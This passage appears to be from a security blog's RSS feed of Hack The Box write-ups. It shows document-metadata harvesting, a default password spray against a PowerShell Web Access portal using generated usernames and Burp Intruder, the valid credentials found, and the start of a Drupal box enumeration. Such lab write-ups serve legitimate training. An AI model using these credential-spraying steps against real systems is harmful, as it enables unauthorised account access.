<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">File</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Type</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Extension</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">             :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> docx</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">MIME</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Type</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                       :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> application/vnd.openxmlformats-officedocument.wordprocessingml.document</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Zip</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Required</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Version</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">            :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 20</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Zip</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Bit</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Flag</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                    :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0x0006</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Zip</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Compression</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                 :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Deflated</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Zip</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Modify</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Date</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                 :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 1980:01:01</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 00:00:00</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Zip</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> CRC</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                         :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 0x079b7eb2</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Zip</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Compressed</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Size</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">             :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 428</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Zip</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Uncompressed</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Size</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">           :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2527</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Zip</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> File</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Name</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                   :</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> [Content_Types].xml</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Creator</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                         :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> FCastle</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Description</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                     :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Created</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> on</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Acute-PC01</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Last</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Modified</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> By</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Daniel</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Revision</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Number</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                 :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 8</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Last</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Printed</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                    :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 2021:01:04</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 15:54:00Z</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Create</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Date</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                     :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 2021:12:08</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 14:21:00Z</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Modify</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Date</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                     :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 2021:12:22</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> 00:39:00Z</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Template</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                        :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Normal.dotm</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Total</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Edit</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Time</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                 :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 2.6</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> hours</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Pages</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                           :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 3</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Words</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                           :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 886</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Characters</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                      :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 5055</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Application</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                     :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Microsoft</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Office</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Word</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Doc</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Security</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                    :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> None</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Lines</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                           :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 42</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Paragraphs</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                      :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 11</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Scale</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Crop</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                      :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> No</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Heading</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Pairs</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                   :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Title,</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Titles</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Parts</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                 :</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Company</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                         :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> University</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> of</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Marvel</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Links</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Up</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> To</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Date</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> No</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Characters</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> With</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Spaces</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">          :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 5930</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Shared</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Doc</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                      :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> No</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">Hyperlinks</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Changed</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">              :</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> No</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">App</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Version</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">                     :</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 16.0000</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>From the document information we can get information such :</p>
<ul>
<li>Company          : University of Marvel</li>
<li>Creator          : FCastle</li>
<li>Description      : Created on Acute-PC01</li>
<li>Last Modified By : Daniel</li>
</ul>
<p>The document looks like a starter document for new people.
Couple of information can be retrieved from it :</p>
<blockquote>
<p>The University’s staff induction pages can be found at: https://atsserver.acute.local/Staff
The Staff Induction portal can be found here: https://atsserver.acute.local/Staff/Induction</p>
</blockquote>
<blockquote>
<p>Walk the new starter through the password change policy, they will need to change it from the default <code>Password1!</code>. Not all staff are changing these so please be sure to run through this.</p>
</blockquote>
<blockquote>
<p>Run through the new <code>PSWA</code> to highlight the restrictions set on the sessions named <code>dc_manage</code>.</p>
</blockquote>
<blockquote>
<p>lois has the right to add it-self to <code>site_admin</code> group.</p>
</blockquote>
<blockquote>
<p>Complete the remote training</p>
</blockquote>
<p>Remote training points to <a href="https://atsserver.acute.local/Acute_Staff_Access" target="_blank" rel="noopener noreferrer">https://atsserver.acute.local/Acute_Staff_Access</a> that point to a <code>Windows PowerShell Web Access</code> interface.</p>
<figure><figcaption>PSWA</figcaption></figure>
<h3>PSWA Connexion</h3>
<p>Commexion was attempted with the user <code>FCastle</code> with the password <code>Password1!</code> on the machine <code>Acute-PC01</code>.</p>
<p>However, it did not work :</p>
<blockquote>
<p>Sign-in failed. Verify that you have entered your credentials correctly.</p>
</blockquote>
<p>Considering that the password found is tagged as a default password, we could try to hope that a user did not change it and that this password is still valide.</p>
<p>A potential list of users was previously extracted :</p>
<ul>
<li>Aileen Wallace</li>
<li>Charlotte Hall</li>
<li>Evan Davies</li>
<li>Ieuan Monks</li>
<li>Joshua Morgan</li>
<li>Lois Hopkins</li>
</ul>
<p>The login form used seems to be the first letter of the firstname and the lastname. However, because we cannot confirm it, a list of potential users was generated using <code>gop</code> :</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> cat users.txt </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> while</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> read</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> line</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">do</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  f</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">$(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">echo</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $line</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">cut</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -d</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\ </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -f1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">  s</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">=</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">$(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">echo</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $line</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">|</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">cut</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -d</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">\ </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -f2</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">);</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">  gop</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> generate</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> username</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -f</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $f</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -s</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> $s</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> |</span><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF"> tee</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> -a</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> windows_users.txt</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">;</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">done</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>Connexion was attempted to the PSWA interface using the password <code>Password1!</code> and the generated usernames. Burp intruder was introduced.</p>
<p>Different results were found :</p>
<ul>
<li>For the user <code>EDavies</code> the passowrd <code>Password1!</code> is valid and authorised to connect to the computer <code>Acute-PC01</code>.</li>
<li>For the user <code>CHall</code> the passowrd <code>Password1!</code> is valid but the user does not seem to have the right to connect to the computer <code>Acute-PC01</code>.</li>
</ul>
<p>The user <code>EDavies</code> was used to connect through the PSWA interface :</p>
<figure><figcaption>PSWA Success</figcaption></figure>
<h3>Recon as <code>EDavies</code></h3>
<div class="language-powershell line-numbers-mode" data-highlighter="shiki" data-ext="powershell" data-title="powershell" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">PS C:\Users\edavies\Documents</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">ipconfig</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Windows IP Configuration</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Ethernet adapter Ethernet </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">2</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">   Connection</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">specific DNS Suffix  </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> :</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">   Link</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">-</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">local IPv6 Address </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> : fe80::</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">9513</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">4361</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">:23ec:64fd</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">%</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">14</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">   IPv4 Address. </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> : </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">172.16</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">22.2</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">   Subnet Mask </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> : </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">255.255</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">255.0</span></span>
<span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">   Default</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> Gateway </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> .</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> : </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">172.16</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">22.1</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">acute\edavies</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">PS C:\Users\edavies\Documents</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span></span>
<span class="line"><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">arp.exe</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> -</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">a</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">Interface: </span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">172.16</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">22.2</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></content:encoded>
      <enclosure url="https://blog.hophouse.fr/htb-header.png" type="image/png"/>
    </item>
    <item>
      <title>Armageddon</title>
      <link>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Armageddon.html</link>
      <guid>https://blog.hophouse.fr/posts/Hack%20The%20Box/Htb-Armageddon.html</guid>
      <source url="https://blog.hophouse.fr/rss.xml">Armageddon</source>
      <description>box_informationsbox_informations Scan As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open: open_tcp_ports_nmapope...</description>
      <category>Write-Up</category>
      <pubDate>Tue, 16 Jun 2020 00:00:00 GMT</pubDate>
      <content:encoded><![CDATA[<figure><figcaption>box_informations</figcaption></figure>
<h2>Scan</h2>
<p>As usual, both TCP and UDP port scans were done on the box. The TCP scan revealed that the following ports are open:</p>
<figure><figcaption>open_tcp_ports_nmap</figcaption></figure>
<h3>TCP/22</h3>
<p>A quick enumeration on the SSH service allows me to know that the <code>password</code> authentication is allowed on the server.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> ssh root@10.10.10.233</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">debug1:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Authentications</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> that</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> can</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> continue:</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> publickey,gssapi-keyex,gssapi-with-mic,password</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div></div></div><h3>TCP/80</h3>
<p>THe webpage was visited and returned a login page.</p>
<figure><figcaption>gop_crawler</figcaption></figure>
<p>Crawling the page did reveal that it might possible to register. Unfortunately, I was not able to register because an approval from the admin user is necesary.</p>
<figure><figcaption>gop_crawler</figcaption></figure>
<p>I ran a <code>dirb</code> on the server and found two page with a directory listing :</p>
<ul>
<li><a href="http://10.10.10.233/misc/" target="_blank" rel="noopener noreferrer">http://10.10.10.233/misc/</a></li>
<li><a href="http://10.10.10.233/modules/" target="_blank" rel="noopener noreferrer">http://10.10.10.233/modules/</a></li>
</ul>
<p>By checking files, I cam accorss the <code>Drupal</code> version which is  the version <code>7.56</code>.</p>
<div class="language-bash line-numbers-mode" data-highlighter="shiki" data-ext="bash" data-title="bash" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> curl http://10.10.10.233/modules/syslog/syslog.info</span></span>
<span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#61AFEF">name</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> =</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> Syslog</span></span>
